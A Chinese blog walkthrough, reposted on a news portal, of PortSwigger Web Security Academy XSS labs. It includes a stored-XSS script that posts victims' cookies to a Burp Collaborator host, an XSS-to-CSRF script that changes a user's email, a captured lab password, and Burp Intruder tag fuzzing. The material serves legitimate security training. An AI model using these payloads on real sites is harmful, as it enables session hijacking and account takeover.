最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

portswigger 靶场之 XSS 篇 (下)

来源:博客园

APPRENTICE

All labs | Web Security Academy (portswigger.net)

  1. 在 burp 中使用 Burp Collaborator Client,点击 copy to clipboard。


    (资料图)

  2. 同时提交博客评论,修改 Burp Collaborator 子域名。

    1. 脚本的功能:查看评论的人发出 POST 请求以及 读取 cookie。
<script>fetch("https://qe8bejkmbudhod20kznmpm8v5mbcz1.oastify.com", {method: "POST",mode: "no-cors",body:document.cookie});</script>// document.cookie --> JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
  1. 回到 Burp Collaborator,单击“Poll now”,以便看到 Http 交互从而找到 Cookie 值进行替换

  2. 刷新 Home 主页,在 Burp Repeater 中,Cookie 替换 Send 发送

15. 利用跨站点脚本捕获密码

依旧是在 burp 中使用 Burp Collaborator Client 功能,点击 copy to clipboard。然后评论博客注入脚本(查看评论的话,会发出包含其用户名和密码的 POST 请求)。

回到 Burp Collaborator,单击“Poll now”,找到用户名和密码进行登录即可

// onchange 事件 --> 当用户改变input输入框内容时执行一段Javascript代码:administrator:2vlk8eidq808je5v2p8v

16. 利用 XSS 执行 CSRF

先进行登录,在更新电子邮件的位置审查元素,会发现存在 CSRF Token,修改电子邮件获取 CSRF Token 的值

将以下脚本写入博客评论中

<script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open("get","/my-account",true);req.send();function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open("post", "/my-account/change-email", true);changeReq.send("csrf="+token+"&email=test@test.com")};</script>

17. 将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止

插入 XSS 发现失败了,用 burp 抓包发送到 Burp Intruder 测试哪些标签和属性被阻止,先清除标签Clear §,然后将搜索词的值换为<§§>,在 XSS 备忘单点击Copy tags to clipboard

在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”粘贴。点击“start attack”。看到了 body 和custom tags 响应 200,于是知道了 body 没有过滤

继而将搜索词的值换为,在 XSS 备忘单点击Copy events to clipboard

Clear 删除之前的 Payload,paste 粘贴刚复制的,点击“start attack”,发现 onresize 响应 200

// 在 Go to exploit server 的 body 中